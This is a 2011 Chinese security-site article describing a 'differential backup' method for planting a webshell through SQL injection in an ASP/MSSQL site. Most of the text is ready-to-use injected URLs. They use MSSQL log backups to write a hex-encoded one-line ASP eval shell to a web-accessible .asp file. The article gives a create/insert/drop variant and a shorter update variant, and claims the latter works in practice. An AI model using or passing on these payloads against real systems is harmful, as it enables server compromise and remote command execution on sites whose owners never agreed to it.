知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

另类差异备份

发布时间:2011-02-23 23:26:38作者:知识屋

      另类差异备份(无建表)

  现在我们大部分同志备份拿WEBSHELL都是使用工具,下面来看看我们经常使用的方法

  第 一 步:

  /news.asp?id=1;create table [dbo].[shit_tmp] ([cmd] [image])--

  第 二 步

  /news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--

  第 三 步

  /news.asp?id=1;insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--

  第 四 步

  /news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--

  第 五 步

  /news.asp?id=1;Drop table [shit_tmp]--

  第一步建表,第二步备份之前的数据,相当于下一个断点,第三步插入数据,第四步再次差异备份,得到WEBSHELL第五步,删除表

  先来分析一下这种方法,差异备份其实备份的并不是数据,而是备份对表操作的SQL语句,比方说上面这个方法他备分得到的小马来源并不是来源于数据,而是来源于第三步的语句,第三步中呢重点又在于后面的小马,并不在于方法,所以我也就想到了在利用UPDATE来代替INSERT

  得用update的好处在于省略了第一步和第五步,坏处在于,你需要找一张表来代替新建的表,

  第 一 步

  /news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--

  第 二 步

  /news.asp?id=1;update tablename set col1=(0x3C25657865637574652872657175657374282261222929253E) where id=1--

  第 三 步

  /news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--

  得用update在实际情况中测试已经通过

 

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜